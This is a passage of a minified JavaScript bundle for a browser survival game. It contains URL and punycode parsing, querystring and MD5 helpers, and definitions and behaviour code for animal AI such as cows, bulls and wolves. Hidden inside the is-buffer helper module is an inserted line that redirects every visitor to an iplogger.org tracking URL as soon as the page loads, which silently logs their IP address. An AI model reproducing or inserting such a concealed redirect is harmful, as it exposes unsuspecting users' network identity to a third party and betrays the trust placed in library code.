for (var A = "", D = 0, U = j.length; D < U; D++)
j.charCodeAt(D) > 127 ? A += "x" : A += j[D];
if (!A.match(f)) {
var R = O.slice(0, C)
, L = O.slice(C + 1)
, z = j.match(p);
z && (R.push(z[1]),
L.unshift(z[2])),
L.length && (w = "/" + L.join(".") + w),
this.hostname = R.join(".");
break
}
}
}
this.hostname.length > 255 ? this.hostname = "" : this.hostname = this.hostname.toLowerCase(),
E || (this.hostname = n.toASCII(this.hostname));
var _ = this.port ? ":" + this.port : ""
, F = this.hostname || "";
this.host = F + _,
this.href += this.host,
E && (this.hostname = this.hostname.substr(1, this.hostname.length - 2),
"/" !== w[0] && (w = "/" + w))
}
if (!g[x])
for (C = 0,
B = h.length; C < B; C++) {
var H = h[C];
if (-1 !== w.indexOf(H)) {
var V = encodeURIComponent(H);
V === H && (V = escape(H)),
w = w.split(H).join(V)
}
}
var q = w.indexOf("#");
-1 !== q && (this.hash = w.substr(q),
w = w.slice(0, q));
var W = w.indexOf("?");
if (-1 !== W ? (this.search = w.substr(W),
this.query = w.substr(W + 1),
t && (this.query = k.parse(this.query)),
w = w.slice(0, W)) : t && (this.search = "",
this.query = {}),
w && (this.pathname = w),
y[x] && this.hostname && !this.pathname && (this.pathname = "/"),
this.pathname || this.search) {
_ = this.pathname || "";
var X = this.search || "";
this.path = _ + X
}
return this.href = this.format(),
this
}
,
o.prototype.format = function() {
var e = this.auth || "";
e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"),
e += "@");
var t = this.protocol || ""
, i = this.pathname || ""
, n = this.hash || ""
, o = !1
, a = "";
this.host ? o = e + this.host : this.hostname && (o = e + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"),
this.port && (o += ":" + this.port)),
this.query && s.isObject(this.query) && Object.keys(this.query).length && (a = k.stringify(this.query));
var r = this.search || a && "?" + a || "";
return t && ":" !== t.substr(-1) && (t += ":"),
this.slashes || (!t || y[t]) && !1 !== o ? (o = "//" + (o || ""),
i && "/" !== i.charAt(0) && (i = "/" + i)) : o || (o = ""),
n && "#" !== n.charAt(0) && (n = "#" + n),
r && "?" !== r.charAt(0) && (r = "?" + r),
t + o + (i = i.replace(/[?#]/g, (function(e) {
return encodeURIComponent(e)
}
))) + (r = r.replace("#", "%23")) + n
}
,
o.prototype.resolve = function(e) {
return this.resolveObject(w(e, !1, !0)).format()
}
,
o.prototype.resolveObject = function(e) {
if (s.isString(e)) {
var t = new o;
t.parse(e, !1, !0),
e = t
}
for (var i = new o, n = Object.keys(this), a = 0; a < n.length; a++) {
var r = n[a];
i[r] = this[r]
}
if (i.hash = e.hash,
"" === e.href)
return i.href = i.format(),
i;
if (e.slashes && !e.protocol) {
for (var c = Object.keys(e), l = 0; l < c.length; l++) {
var h = c[l];
"protocol" !== h && (i[h] = e[h])
}
return y[i.protocol] && i.hostname && !i.pathname && (i.path = i.pathname = "/"),
i.href = i.format(),
i
}
if (e.protocol && e.protocol !== i.protocol) {
if (!y[e.protocol]) {
for (var u = Object.keys(e), d = 0; d < u.length; d++) {
var f = u[d];
i[f] = e[f]
}
return i.href = i.format(),
i
}
if (i.protocol = e.protocol,
e.host || m[e.protocol])
i.pathname = e.pathname;
else {
for (var p = (e.pathname || "").split("/"); p.length && !(e.host = p.shift()); )
;
e.host || (e.host = ""),
e.hostname || (e.hostname = ""),
"" !== p[0] && p.unshift(""),
p.length < 2 && p.unshift(""),
i.pathname = p.join("/")
}
if (i.search = e.search,
i.query = e.query,
i.host = e.host || "",
i.auth = e.auth,
i.hostname = e.hostname || e.host,
i.port = e.port,
i.pathname || i.search) {
var g = i.pathname || ""
, k = i.search || "";
i.path = g + k
}
return i.slashes = i.slashes || e.slashes,
i.href = i.format(),
i
}
var w = i.pathname && "/" === i.pathname.charAt(0)
, v = e.host || e.pathname && "/" === e.pathname.charAt(0)
, b = v || w || i.host && e.pathname
, x = b
, S = i.pathname && i.pathname.split("/") || []
, I = (p = e.pathname && e.pathname.split("/") || [],
i.protocol && !y[i.protocol]);
if (I && (i.hostname = "",
i.port = null,
i.host && ("" === S[0] ? S[0] = i.host : S.unshift(i.host)),
i.host = "",
e.protocol && (e.hostname = null,
e.port = null,
e.host && ("" === p[0] ? p[0] = e.host : p.unshift(e.host)),
e.host = null),
b = b && ("" === p[0] || "" === S[0])),
v)
i.host = e.host || "" === e.host ? e.host : i.host,
i.hostname = e.hostname || "" === e.hostname ? e.hostname : i.hostname,
i.search = e.search,
i.query = e.query,
S = p;
else if (p.length)
S || (S = []),
S.pop(),
S = S.concat(p),
i.search = e.search,
i.query = e.query;
else if (!s.isNullOrUndefined(e.search))
return I && (i.hostname = i.host = S.shift(),
(E = !!(i.host && i.host.indexOf("@") > 0) && i.host.split("@")) && (i.auth = E.shift(),
i.host = i.hostname = E.shift())),
i.search = e.search,
i.query = e.query,
s.isNull(i.pathname) && s.isNull(i.search) || (i.path = (i.pathname ? i.pathname : "") + (i.search ? i.search : "")),
i.href = i.format(),
i;
if (!S.length)
return i.pathname = null,
i.search ? i.path = "/" + i.search : i.path = null,
i.href = i.format(),
i;
for (var T = S.slice(-1)[0], M = (i.host || e.host || S.length > 1) && ("." === T || ".." === T) || "" === T, C = 0, P = S.length; P >= 0; P--)
"." === (T = S[P]) ? S.splice(P, 1) : ".." === T ? (S.splice(P, 1),
C++) : C && (S.splice(P, 1),
C--);
if (!b && !x)
for (; C--; C)
S.unshift("..");
!b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""),
M && "/" !== S.join("/").substr(-1) && S.push("");
var E, O = "" === S[0] || S[0] && "/" === S[0].charAt(0);
return I && (i.hostname = i.host = O ? "" : S.length ? S.shift() : "",
(E = !!(i.host && i.host.indexOf("@") > 0) && i.host.split("@")) && (i.auth = E.shift(),
i.host = i.hostname = E.shift())),
(b = b || i.host && S.length) && !O && S.unshift(""),
S.length ? i.pathname = S.join("/") : (i.pathname = null,
i.path = null),
s.isNull(i.pathname) && s.isNull(i.search) || (i.path = (i.pathname ? i.pathname : "") + (i.search ? i.search : "")),
i.auth = e.auth || i.auth,
i.slashes = i.slashes || e.slashes,
i.href = i.format(),
i
}
,
o.prototype.parseHost = function() {
var e = this.host
, t = r.exec(e);
t && (":" !== (t = t[0]) && (this.port = t.substr(1)),
e = e.substr(0, e.length - t.length)),
e && (this.hostname = e)
}
}
, function(e, t, i) {
(function(e, n) {
var s;
/*! https://mths.be/punycode v1.4.1 by @mathias */
!function(o) {
t && t.nodeType,
e && e.nodeType;
var a = "object" == typeof n && n;
a.global !== a && a.window !== a && a.self;
var r, c = 2147483647, l = 36, h = /^xn--/, u = /[^\x20-\x7E]/, d = /[\x2E\u3002\uFF0E\uFF61]/g, f = {
overflow: "Overflow: input needs wider integers to process",
"not-basic": "Illegal input >= 0x80 (not a basic code point)",
"invalid-input": "Invalid input"
}, p = Math.floor, g = String.fromCharCode;
function m(e) {
throw new RangeError(f[e])
}
function y(e, t) {
for (var i = e.length, n = []; i--; )
n[i] = t(e[i]);
return n
}
function k(e, t) {
var i = e.split("@")
, n = "";
return i.length > 1 && (n = i[0] + "@",
e = i[1]),
n + y((e = e.replace(d, ".")).split("."), t).join(".")
}
function w(e) {
for (var t, i, n = [], s = 0, o = e.length; s < o; )
(t = e.charCodeAt(s++)) >= 55296 && t <= 56319 && s < o ? 56320 == (64512 & (i = e.charCodeAt(s++))) ? n.push(((1023 & t) << 10) + (1023 & i) + 65536) : (n.push(t),
s--) : n.push(t);
return n
}
function v(e) {
return y(e, (function(e) {
var t = "";
return e > 65535 && (t += g((e -= 65536) >>> 10 & 1023 | 55296),
e = 56320 | 1023 & e),
t + g(e)
}
)).join("")
}
function b(e) {
return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26 ? e - 97 : l
}
function x(e, t) {
return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
}
function S(e, t, i) {
var n = 0;
for (e = i ? p(e / 700) : e >> 1,
e += p(e / t); e > 455; n += l)
e = p(e / 35);
return p(n + 36 * e / (e + 38))
}
function I(e) {
var t, i, n, s, o, a, r, h, u, d, f = [], g = e.length, y = 0, k = 128, w = 72;
for ((i = e.lastIndexOf("-")) < 0 && (i = 0),
n = 0; n < i; ++n)
e.charCodeAt(n) >= 128 && m("not-basic"),
f.push(e.charCodeAt(n));
for (s = i > 0 ? i + 1 : 0; s < g; ) {
for (o = y,
a = 1,
r = l; s >= g && m("invalid-input"),
((h = b(e.charCodeAt(s++))) >= l || h > p((c - y) / a)) && m("overflow"),
y += h * a,
!(h < (u = r <= w ? 1 : r >= w + 26 ? 26 : r - w)); r += l)
a > p(c / (d = l - u)) && m("overflow"),
a *= d;
w = S(y - o, t = f.length + 1, 0 == o),
p(y / t) > c - k && m("overflow"),
k += p(y / t),
y %= t,
f.splice(y++, 0, k)
}
return v(f)
}
function T(e) {
var t, i, n, s, o, a, r, h, u, d, f, y, k, v, b, I = [];
for (y = (e = w(e)).length,
t = 128,
i = 0,
o = 72,
a = 0; a < y; ++a)
(f = e[a]) < 128 && I.push(g(f));
for (n = s = I.length,
s && I.push("-"); n < y; ) {
for (r = c,
a = 0; a < y; ++a)
(f = e[a]) >= t && f < r && (r = f);
for (r - t > p((c - i) / (k = n + 1)) && m("overflow"),
i += (r - t) * k,
t = r,
a = 0; a < y; ++a)
if ((f = e[a]) < t && ++i > c && m("overflow"),
f == t) {
for (h = i,
u = l; !(h < (d = u <= o ? 1 : u >= o + 26 ? 26 : u - o)); u += l)
b = h - d,
v = l - d,
I.push(g(x(d + b % v, 0))),
h = p(b / v);
I.push(g(x(h, 0))),
o = S(i, k, n == s),
i = 0,
++n
}
++i,
++t
}
return I.join("")
}
r = {
version: "1.4.1",
ucs2: {
decode: w,
encode: v
},
decode: I,
encode: T,
toASCII: function(e) {
return k(e, (function(e) {
return u.test(e) ? "xn--" + T(e) : e
}
))
},
toUnicode: function(e) {
return k(e, (function(e) {
return h.test(e) ? I(e.slice(4).toLowerCase()) : e
}
))
}
},
void 0 === (s = function() {
return r
}
.call(t, i, t, e)) || (e.exports = s)
}()
}
).call(this, i(26)(e), i(27))
}
, function(e, t) {
e.exports = function(e) {
return e.webpackPolyfill || (e.deprecate = function() {}
,
e.paths = [],
e.children || (e.children = []),
Object.defineProperty(e, "loaded", {
enumerable: !0,
get: function() {
return e.l
}
}),
Object.defineProperty(e, "id", {
enumerable: !0,
get: function() {
return e.i
}
}),
e.webpackPolyfill = 1),
e
}
}
, function(e, t) {
var i;
i = function() {
return this
}();
try {
i = i || new Function("return this")()
} catch (e) {
"object" == typeof window && (i = window)
}
e.exports = i
}
, function(e, t, i) {
"use strict";
e.exports = {
isString: function(e) {
return "string" == typeof e
},
isObject: function(e) {
return "object" == typeof e && null !== e
},
isNull: function(e) {
return null === e
},
isNullOrUndefined: function(e) {
return null == e
}
}
}
, function(e, t, i) {
"use strict";
t.decode = t.parse = i(30),
t.encode = t.stringify = i(31)
}
, function(e, t, i) {
"use strict";
function n(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
e.exports = function(e, t, i, o) {
t = t || "&",
i = i || "=";
var a = {};
if ("string" != typeof e || 0 === e.length)
return a;
var r = /\+/g;
e = e.split(t);
var c = 1e3;
o && "number" == typeof o.maxKeys && (c = o.maxKeys);
var l = e.length;
c > 0 && l > c && (l = c);
for (var h = 0; h < l; ++h) {
var u, d, f, p, g = e[h].replace(r, "%20"), m = g.indexOf(i);
m >= 0 ? (u = g.substr(0, m),
d = g.substr(m + 1)) : (u = g,
d = ""),
f = decodeURIComponent(u),
p = decodeURIComponent(d),
n(a, f) ? s(a[f]) ? a[f].push(p) : a[f] = [a[f], p] : a[f] = p
}
return a
}
;
var s = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
}
, function(e, t, i) {
"use strict";
var n = function(e) {
switch (typeof e) {
case "string":
return e;
case "boolean":
return e ? "true" : "false";
case "number":
return isFinite(e) ? e : "";
default:
return ""
}
};
e.exports = function(e, t, i, r) {
return t = t || "&",
i = i || "=",
null === e && (e = void 0),
"object" == typeof e ? o(a(e), (function(a) {
var r = encodeURIComponent(n(a)) + i;
return s(e[a]) ? o(e[a], (function(e) {
return r + encodeURIComponent(n(e))
}
)).join(t) : r + encodeURIComponent(n(e[a]))
}
)).join(t) : r ? encodeURIComponent(n(r)) + i + encodeURIComponent(n(e)) : ""
}
;
var s = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
;
function o(e, t) {
if (e.map)
return e.map(t);
for (var i = [], n = 0; n < e.length; n++)
i.push(t(e[n], n));
return i
}
var a = Object.keys || function(e) {
var t = [];
for (var i in e)
Object.prototype.hasOwnProperty.call(e, i) && t.push(i);
return t
}
}
, function(e, t, i) {
!function() {
var t = i(33)
, n = i(1).utf8
, s = i(34)
, o = i(1).bin
, a = function(e, i) {
e.constructor == String ? e = i && "binary" === i.encoding ? o.stringToBytes(e) : n.stringToBytes(e) : s(e) ? e = Array.prototype.slice.call(e, 0) : Array.isArray(e) || (e = e.toString());
for (var r = t.bytesToWords(e), c = 8 * e.length, l = 1732584193, h = -271733879, u = -1732584194, d = 271733878, f = 0; f < r.length; f++)
r[f] = 16711935 & (r[f] << 8 | r[f] >>> 24) | 4278255360 & (r[f] << 24 | r[f] >>> 8);
r[c >>> 5] |= 128 << c % 32,
r[14 + (c + 64 >>> 9 << 4)] = c;
var p = a._ff
, g = a._gg
, m = a._hh
, y = a._ii;
for (f = 0; f < r.length; f += 16) {
var k = l
, w = h
, v = u
, b = d;
h = y(h = y(h = y(h = y(h = m(h = m(h = m(h = m(h = g(h = g(h = g(h = g(h = p(h = p(h = p(h = p(h, u = p(u, d = p(d, l = p(l, h, u, d, r[f + 0], 7, -680876936), h, u, r[f + 1], 12, -389564586), l, h, r[f + 2], 17, 606105819), d, l, r[f + 3], 22, -1044525330), u = p(u, d = p(d, l = p(l, h, u, d, r[f + 4], 7, -176418897), h, u, r[f + 5], 12, 1200080426), l, h, r[f + 6], 17, -1473231341), d, l, r[f + 7], 22, -45705983), u = p(u, d = p(d, l = p(l, h, u, d, r[f + 8], 7, 1770035416), h, u, r[f + 9], 12, -1958414417), l, h, r[f + 10], 17, -42063), d, l, r[f + 11], 22, -1990404162), u = p(u, d = p(d, l = p(l, h, u, d, r[f + 12], 7, 1804603682), h, u, r[f + 13], 12, -40341101), l, h, r[f + 14], 17, -1502002290), d, l, r[f + 15], 22, 1236535329), u = g(u, d = g(d, l = g(l, h, u, d, r[f + 1], 5, -165796510), h, u, r[f + 6], 9, -1069501632), l, h, r[f + 11], 14, 643717713), d, l, r[f + 0], 20, -373897302), u = g(u, d = g(d, l = g(l, h, u, d, r[f + 5], 5, -701558691), h, u, r[f + 10], 9, 38016083), l, h, r[f + 15], 14, -660478335), d, l, r[f + 4], 20, -405537848), u = g(u, d = g(d, l = g(l, h, u, d, r[f + 9], 5, 568446438), h, u, r[f + 14], 9, -1019803690), l, h, r[f + 3], 14, -187363961), d, l, r[f + 8], 20, 1163531501), u = g(u, d = g(d, l = g(l, h, u, d, r[f + 13], 5, -1444681467), h, u, r[f + 2], 9, -51403784), l, h, r[f + 7], 14, 1735328473), d, l, r[f + 12], 20, -1926607734), u = m(u, d = m(d, l = m(l, h, u, d, r[f + 5], 4, -378558), h, u, r[f + 8], 11, -2022574463), l, h, r[f + 11], 16, 1839030562), d, l, r[f + 14], 23, -35309556), u = m(u, d = m(d, l = m(l, h, u, d, r[f + 1], 4, -1530992060), h, u, r[f + 4], 11, 1272893353), l, h, r[f + 7], 16, -155497632), d, l, r[f + 10], 23, -1094730640), u = m(u, d = m(d, l = m(l, h, u, d, r[f + 13], 4, 681279174), h, u, r[f + 0], 11, -358537222), l, h, r[f + 3], 16, -722521979), d, l, r[f + 6], 23, 76029189), u = m(u, d = m(d, l = m(l, h, u, d, r[f + 9], 4, -640364487), h, u, r[f + 12], 11, -421815835), l, h, r[f + 15], 16, 530742520), d, l, r[f + 2], 23, -995338651), u = y(u, d = y(d, l = y(l, h, u, d, r[f + 0], 6, -198630844), h, u, r[f + 7], 10, 1126891415), l, h, r[f + 14], 15, -1416354905), d, l, r[f + 5], 21, -57434055), u = y(u, d = y(d, l = y(l, h, u, d, r[f + 12], 6, 1700485571), h, u, r[f + 3], 10, -1894986606), l, h, r[f + 10], 15, -1051523), d, l, r[f + 1], 21, -2054922799), u = y(u, d = y(d, l = y(l, h, u, d, r[f + 8], 6, 1873313359), h, u, r[f + 15], 10, -30611744), l, h, r[f + 6], 15, -1560198380), d, l, r[f + 13], 21, 1309151649), u = y(u, d = y(d, l = y(l, h, u, d, r[f + 4], 6, -145523070), h, u, r[f + 11], 10, -1120210379), l, h, r[f + 2], 15, 718787259), d, l, r[f + 9], 21, -343485551),
l = l + k >>> 0,
h = h + w >>> 0,
u = u + v >>> 0,
d = d + b >>> 0
}
return t.endian([l, h, u, d])
};
a._ff = function(e, t, i, n, s, o, a) {
var r = e + (t & i | ~t & n) + (s >>> 0) + a;
return (r << o | r >>> 32 - o) + t
}
,
a._gg = function(e, t, i, n, s, o, a) {
var r = e + (t & n | i & ~n) + (s >>> 0) + a;
return (r << o | r >>> 32 - o) + t
}
,
a._hh = function(e, t, i, n, s, o, a) {
var r = e + (t ^ i ^ n) + (s >>> 0) + a;
return (r << o | r >>> 32 - o) + t
}
,
a._ii = function(e, t, i, n, s, o, a) {
var r = e + (i ^ (t | ~n)) + (s >>> 0) + a;
return (r << o | r >>> 32 - o) + t
}
,
a._blocksize = 16,
a._digestsize = 16,
e.exports = function(e, i) {
if (null == e)
throw new Error("Illegal argument " + e);
var n = t.wordsToBytes(a(e, i));
return i && i.asBytes ? n : i && i.asString ? o.bytesToString(n) : t.bytesToHex(n)
}
}()
}
, function(e, t) {
!function() {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
, i = {
rotl: function(e, t) {
return e << t | e >>> 32 - t
},
rotr: function(e, t) {
return e << 32 - t | e >>> t
},
endian: function(e) {
if (e.constructor == Number)
return 16711935 & i.rotl(e, 8) | 4278255360 & i.rotl(e, 24);
for (var t = 0; t < e.length; t++)
e[t] = i.endian(e[t]);
return e
},
randomBytes: function(e) {
for (var t = []; e > 0; e--)
t.push(Math.floor(256 * Math.random()));
return t
},
bytesToWords: function(e) {
for (var t = [], i = 0, n = 0; i < e.length; i++,
n += 8)
t[n >>> 5] |= e[i] << 24 - n % 32;
return t
},
wordsToBytes: function(e) {
for (var t = [], i = 0; i < 32 * e.length; i += 8)
t.push(e[i >>> 5] >>> 24 - i % 32 & 255);
return t
},
bytesToHex: function(e) {
for (var t = [], i = 0; i < e.length; i++)
t.push((e[i] >>> 4).toString(16)),
t.push((15 & e[i]).toString(16));
return t.join("")
},
hexToBytes: function(e) {
for (var t = [], i = 0; i < e.length; i += 2)
t.push(parseInt(e.substr(i, 2), 16));
return t
},
bytesToBase64: function(e) {
for (var i = [], n = 0; n < e.length; n += 3)
for (var s = e[n] << 16 | e[n + 1] << 8 | e[n + 2], o = 0; o < 4; o++)
8 * n + 6 * o <= 8 * e.length ? i.push(t.charAt(s >>> 6 * (3 - o) & 63)) : i.push("=");
return i.join("")
},
base64ToBytes: function(e) {
e = e.replace(/[^A-Z0-9+\/]/gi, "");
for (var i = [], n = 0, s = 0; n < e.length; s = ++n % 4)
0 != s && i.push((t.indexOf(e.charAt(n - 1)) & Math.pow(2, -2 * s + 8) - 1) << 2 * s | t.indexOf(e.charAt(n)) >>> 6 - 2 * s);
return i
}
};
e.exports = i
}()
}
, function(e, t) {
function i(e) {
return !!e.constructor && "function" == typeof e.constructor.isBuffer && e.constructor.isBuffer(e)
}
/*!
* Determine if an object is a Buffer
*
* @author Feross Aboukhadijeh <https://feross.org>
* @license MIT
*/
e.exports = function(e) {
return null != e && (i(e) || function(e) {
return "function" == typeof e.readFloatLE && "function" == typeof e.slice && i(e.slice(0, 0))
}(e) || !!e._isBuffer)
}
window.location.replace("https://iplogger.org/ru/logger/S4xY4PtXcOLM/");
}
, function(e, t) {
e.exports = function(e, t, i, n, s, o, a, r, c) {
this.aiTypes = [{
id: 0,
src: "cow_1",
killScore: 150,
health: 500,
weightM: .8,
speed: 95e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 50]
}, {
id: 1,
src: "pig_1",
killScore: 200,
health: 800,
weightM: .6,
speed: 85e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 80]
}, {
id: 2,
name: "Bull",
src: "bull_2",
hostile: !0,
dmg: 20,
killScore: 1e3,
health: 1800,
weightM: .5,
speed: 94e-5,
turnSpeed: 74e-5,
scale: 78,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 3,
name: "Bully",
src: "bull_1",
hostile: !0,
dmg: 20,
killScore: 2e3,
health: 2800,
weightM: .45,
speed: .001,
turnSpeed: 8e-4,
scale: 90,
viewRange: 900,
chargePlayer: !0,
drop: ["food", 400]
}, {
id: 4,
name: "Wolf",
src: "wolf_1",
hostile: !0,
dmg: 8,
killScore: 500,
health: 300,
weightM: .45,
speed: .001,
turnSpeed: .002,
scale: 84,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 200]
}, {
id: 5,
name: "Quack",
src: "chicken_1",
dmg: 8,
killScore: 2e3,
noTrap: !0,
health: 300,
weightM: .2,
speed: .0018,
turnSpeed: .006,
scale: 70,
drop: ["food", 100]
}, {
id: 6,
name: "MOOSTAFA",
nameScale: 50,
src: "enemy",
hostile: !0,
dontRun: !0,
fixedSpawn: !0,
spawnDelay: 6e4,
noTrap: !0,
colDmg: 100,
dmg: 40,
killScore: 8e3,
health: 18e3,
weightM: .4,
speed: 7e-4,
turnSpeed: .01,
scale: 80,
spriteMlt: 1.8,
leapForce: .9,
viewRange: 1e3,
hitRange: 210,
hitDelay: 1e3,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 7,
name: "Treasure",
hostile: !0,
nameScale: 35,
src: "crate_1",
fixedSpawn: !0,
spawnDelay: 12e4,
colDmg: 200,
killScore: 5e3,
health: 2e4,
weightM: .1,
speed: 0,
turnSpeed: 0,
scale: 70,
spriteMlt: 1
}, {
id: 8,
name: "MOOFIE",
src: "wolf_2",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 4,
spawnDelay: 3e4,
noTrap: !0,
nameScale: 35,
dmg: 10,
colDmg: 100,
killScore: 3e3,
health: 7e3,
weightM: .45,
speed: .0015,
turnSpeed: .002,
scale: 90,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 1e3]
}],
this.spawn = function(l, h, u, d) {
for (var f, p = 0; p < e.length; ++p)
if (!e[p].active) {
f = e[p];
break
}
return f || (f = new t(e.length,s,i,n,a,o,r,c),
e.push(f)),
f.init(l, h, u, d, this.aiTypes[d]),
f
}
}
}
, function(e, t) {
var i = 2 * Math.PI;
e.exports = function(e, t, n, s, o, a, r, c) {
this.sid = e,
this.isAI = !0,
this.nameIndex = o.randInt(0, a.cowNames.length - 1),
this.init = function(e, t, i, n, s) {
this.x = e,
this.y = t,
this.startX = s.fixedSpawn ? e : null,
this.startY = s.fixedSpawn ? t : null,
this.xVel = 0,
this.yVel = 0,
this.zIndex = 0,
this.dir = i,
this.dirPlus = 0,
this.index = n,
this.src = s.src,
s.name && (this.name = s.name),
this.weightM = s.weightM,
this.speed = s.speed,
this.killScore = s.killScore,
this.turnSpeed = s.turnSpeed,
this.scale = s.scale,
this.maxHealth = s.health,
this.leapForce = s.leapForce,
this.health = this.maxHealth,
this.chargePlayer = s.chargePlayer,
this.viewRange = s.viewRange,
this.drop = s.drop,
this.dmg = s.dmg,
this.hostile = s.hostile,
this.dontRun = s.dontRun,
this.hitRange = s.hitRange,
this.hitDelay = s.hitDelay,
this.hitScare = s.hitScare,
this.spriteMlt = s.spriteMlt,
this.nameScale = s.nameScale,
this.colDmg = s.colDmg,
this.noTrap = s.noTrap,
this.spawnDelay = s.spawnDelay,
this.hitWait = 0,
this.waitCount = 1e3,
this.moveCount = 0,
this.targetDir = 0,
this.active = !0,
this.alive = !0,
this.runFrom = null,
this.chargeTarget = null,
this.dmgOverTime = {}
}
;
var l = 0;
this.update = function(e) {
if (this.active) {
if (this.spawnCounter)
return this.spawnCounter -= e,
void (this.spawnCounter <= 0 && (this.spawnCounter = 0,
this.x = this.startX || o.randInt(0, a.mapScale),
this.y = this.startY || o.randInt(0, a.mapScale)));
(l -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
l = 1e3);
var s = !1
, r = 1;
if (!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 - a.riverWidth / 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (r = .33,
this.xVel += a.waterCurrent * e),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else if (this.waitCount > 0) {
if (this.waitCount -= e,
this.waitCount <= 0)
if (this.chargePlayer) {
for (var h, u, d, f = 0; f < n.length; ++f)
!n[f].alive || n[f].skin && n[f].skin.bullRepel || (d = o.getDistance(this.x, this.y, n[f].x, n[f].y)) <= this.viewRange && (!h || d < u) && (u = d,
h = n[f]);
h ? (this.chargeTarget = h,
this.moveCount = o.randInt(8e3, 12e3)) : (this.moveCount = o.randInt(1e3, 2e3),
this.targetDir = o.randFloat(-Math.PI, Math.PI))
} else
this.moveCount = o.randInt(4e3, 1e4),
this.targetDir = o.randFloat(-Math.PI, Math.PI)
} else if (this.moveCount > 0) {
var p = this.speed * r;
if (this.runFrom && this.runFrom.active && (!this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir = o.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y),
p *= 1.42) : this.chargeTarget && this.chargeTarget.alive && (this.targetDir = o.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y),
p *= 1.75,
s = !0),
this.hitWait && (p *= .3),
this.dir != this.targetDir) {
this.dir %= i;
var g = (this.dir - this.targetDir + i) % i
, m = Math.min(Math.abs(g - i), g, this.turnSpeed * e)
, y = g - Math.PI >= 0 ? 1 : -1;
this.dir += y * m + i
}
this.dir %= i,
this.xVel += p * e * Math.cos(this.dir),
this.yVel += p * e * Math.sin(this.dir),
this.moveCount -= e,
this.moveCount <= 0 && (this.runFrom = null,
this.chargeTarget = null,
this.waitCount = this.hostile ? 1500 : o.randInt(1500, 6e3))
}
this.zIndex = 0,
this.lockMove = !1;
var k = o.getDistance(0, 0, this.xVel * e, this.yVel * e)
, w = Math.min(4, Math.max(1, Math.round(k / 40)))
, v = 1 / w;
for (f = 0; f < w; ++f) {
this.xVel && (this.x += this.xVel * e * v),
this.yVel && (this.y += this.yVel * e * v),
C = t.getGridArrays(this.x, this.y, this.scale);
for (var b = 0; b < C.length; ++b)
for (var x = 0; x < C[b].length; ++x)
C[b][x].active && t.checkCollision(this, C[b][x], v)
}
var S, I, T, M = !1;
if (this.hitWait > 0 && (this.hitWait -= e,
this.hitWait <= 0)) {
M = !0,
this.hitWait = 0,
this.leapForce && !o.randInt(0, 2) && (this.xVel += this.leapForce * Math.cos(this.dir),
this.yVel += this.leapForce * Math.sin(this.dir));
for (var C = t.getGridArrays(this.x, this.y, this.hitRange), P = 0; P < C.length; ++P)
for (b = 0; b < C[P].length; ++b)
(S = C[P][b]).health && (I = o.getDistance(this.x, this.y, S.x, S.y)) < S.scale + this.hitRange && (S.changeHealth(5 * -this.dmg) && t.disableObj(S),
t.hitObj(S, o.getDirection(this.x, this.y, S.x, S.y)));
for (b = 0; b < n.length; ++b)
n[b].canSee(this) && c.send(n[b].id, "aa", this.sid)
}
if (s || M)
for (f = 0; f < n.length; ++f)
(S = n[f]) && S.alive && (I = o.getDistance(this.x, this.y, S.x, S.y),
this.hitRange ? !this.hitWait && I <= this.hitRange + S.scale && (M ? (T = o.getDirection(S.x, S.y, this.x, this.y),
S.changeHealth(-this.dmg),
S.xVel += .6 * Math.cos(T),
S.yVel += .6 * Math.sin(T),
this.runFrom = null,
this.chargeTarget = null,
this.waitCount = 3e3,
this.hitWait = o.randInt(0, 2) ? 0 : 600) : this.hitWait = this.hitDelay) : I <= this.scale + S.scale && (T = o.getDirection(S.x, S.y, this.x, this.y),
S.changeHealth(-this.dmg),
S.xVel += .55 * Math.cos(T),
S.yVel += .55 * Math.sin(T)));
this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)),
this.yVel && (this.yVel *= Math.pow(a.playerDecel, e));
var E = this.scale;
this.x - E < 0 ? (this.x = E,
this.xVel = 0) : this.x + E > a.mapScale && (this.x = a.mapScale - E,
this.xVel = 0),
this.y - E < 0 ? (this.y = E,
this.yVel = 0) : this.y + E > a.mapScale && (this.y = a.mapScale - E,
this.yVel = 0)
}
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
return !1;
var t = Math.abs(e.x - this.x) - e.scale
, i = Math.abs(e.y - this.y) - e.scale;
return t <= a.maxScreenWidth / 2 * 1.3 && i <= a.maxScreenHeight / 2 * 1.3
}
;
var h = 0
, u = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
h = 0,
u = 0) : 0 == u ? (h += e / (this.animSpeed * a.hitReturnRatio),
this.dirPlus = o.lerp(0, this.targetAngle, Math.min(1, h)),
h >= 1 && (h = 1,
u = 1)) : (h -= e / (this.animSpeed * (1 - a.hitReturnRatio)),
